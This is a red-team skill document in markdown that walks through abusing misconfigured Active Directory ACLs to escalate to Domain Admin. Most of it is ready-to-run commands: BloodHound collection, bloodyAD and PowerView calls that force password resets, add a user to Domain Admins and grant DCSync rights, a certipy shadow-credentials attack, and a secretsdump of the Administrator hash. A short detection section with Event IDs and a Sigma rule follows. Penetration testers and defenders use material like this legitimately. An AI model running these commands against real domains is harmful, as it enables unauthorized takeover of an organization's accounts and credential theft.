<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-active-directory-acls
description: >-
  Abuse misconfigured Active Directory ACLs and DACLs for privilege escalation.
  Covers BloodHound path analysis, ACL enumeration with PowerView,
  GenericAll/WriteDACL/ForceChangePassword abuse, and shadow credentials attacks.
domain: cybersecurity
subdomain: red-team
tags:
  - active-directory
  - acl-abuse
  - bloodhound
  - dacl
  - privilege-escalation
  - powerview
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1222.001", "T1484.001"]
  tools: ["bloodhound", "powerview", "impacket", "certipy", "bloodyad"]
---

# Exploiting Active Directory ACLs

## Overview

Active Directory ACL abuse (T1222.001) exploits misconfigured Discretionary Access
Control Lists to escalate privileges without exploiting software vulnerabilities.
BloodHound maps these relationships graphically, revealing paths from compromised
users to high-value targets through permission chains like GenericAll, WriteDACL,
WriteOwner, ForceChangePassword, and AddMember.

## Prerequisites

- Authenticated domain user credentials
- Network access to Domain Controller (LDAP/389, LDAPS/636)
- BloodHound 4.x+ with Neo4j and SharpHound collector
- PowerView (PowerSploit) or bloodyAD for ACL manipulation
- Impacket for remote exploitation

```bash
pip install bloodyAD impacket
# BloodHound: https://github.com/BloodHoundAD/BloodHound
```

## Key Concepts

### ACL Permission Types

| Permission | Abuse Scenario |
|-----------|---------------|
| GenericAll | Full control — reset password, add to group, write SPN |
| GenericWrite | Write any attribute — set SPN for Kerberoasting, shadow creds |
| WriteDACL | Modify permissions — grant yourself GenericAll |
| WriteOwner | Take ownership — then WriteDACL → GenericAll |
| ForceChangePassword | Reset target password without knowing current |
| AddMember | Add yourself to privileged groups |
| AllExtendedRights | Includes ForceChangePassword + DS-Replication-Get-Changes |

### BloodHound Attack Paths

BloodHound identifies ACL-based attack paths through graph traversal:
```
Owned User → GenericAll → Target Group → MemberOf → Domain Admins
Owned User → WriteDACL → High-Value Target → GenericAll → DCSync
```

### Shadow Credentials (T1556.006)

If you have GenericWrite on a computer/user object, write to
`msDS-KeyCredentialLink` to add a certificate for PKINIT authentication,
obtaining a TGT without knowing the password.

## Workflow

### Step 1: Collect BloodHound Data

```bash
# SharpHound collection (from Windows)
SharpHound.exe -c All,GPOLocalGroup --zipfilename bh_data.zip

# BloodHound.py (from Linux)
bloodhound-python -u jsmith -p 'Password1' -d corp.local -ns 10.10.10.1 -c All
```

### Step 2: Identify ACL Attack Paths

```
# BloodHound Cypher queries — shortest path to DA
MATCH p=shortestPath((u:User {name:"JSMITH@CORP.LOCAL"})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# Find GenericAll on users
MATCH p=(u:User)-[:GenericAll]->(t:User) RETURN p

# Find WriteDACL paths to high-value targets
MATCH p=(u:User)-[:WriteDACL]->(t) WHERE t.highvalue=true RETURN p
```

### Step 3: Exploit ACL Misconfigurations

```bash
# GenericAll on user — force password reset
bloodyAD -d corp.local -u jsmith -p 'Pass1' --host 10.10.10.1 \
  set password svc_admin 'NewP@ssw0rd!'

# WriteDACL — grant yourself GenericAll first
bloodyAD -d corp.local -u jsmith -p 'Pass1' --host 10.10.10.1 \
  add genericAll 'OU=ServiceAccounts,DC=corp,DC=local' jsmith

# AddMember — add user to Domain Admins
net rpc group addmem "Domain Admins" jsmith -U 'corp.local/jsmith%Pass1' -S 10.10.10.1

# Shadow Credentials attack
certipy shadow auto -u jsmith@corp.local -p 'Pass1' -account targetpc$
```

```powershell
# PowerView — GenericAll abuse
Set-DomainUserPassword -Identity svc_admin -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# WriteDACL abuse — grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync

# AddMember abuse
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith
```

### Step 4: Escalate to Domain Admin

```bash
# DCSync after granting rights
secretsdump.py 'CORP.LOCAL/jsmith:Pass1@10.10.10.1' -just-dc-user Administrator

# Validate DA access
nxc smb 10.10.10.1 -u jsmith -p 'Pass1' --shares
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Event ID 5136 | Security Log | Directory object modified (ACL change) |
| Event ID 4728/4756 | Security Log | Member added to security group |
| Event ID 4724 | Security Log | Password reset attempt |
| BloodHound | Custom | Excessive outbound ACL edges from single principal |

```yaml
title: Suspicious ACL Modification on Domain Object
id: b7c3d1e5-9f4a-42b8-a6e1-3c5d8f2b7a9e
status: experimental
description: Detects modification of ACLs on high-value AD objects
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'nTSecurityDescriptor'
  filter:
    SubjectUserName|endswith: '$'
  condition: selection and not filter
falsepositives:
  - Legitimate AD administration during change windows
level: high
tags:
  - attack.defense_evasion
  - attack.t1222.001
```

## Verification

- [ ] BloodHound data collected and imported successfully
- [ ] ACL attack paths identified via Cypher queries
- [ ] ACL abuse executed (password reset, group add, or DCSync)
- [ ] Escalated credentials validated against target
- [ ] Detection artifacts documented (Event IDs, log sources)

## References

- [MITRE ATT&CK T1222.001](https://attack.mitre.org/techniques/T1222/001/)
- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
- [bloodyAD](https://github.com/CravateRouge/bloodyAD)
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
- [ired.team — ACL Abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
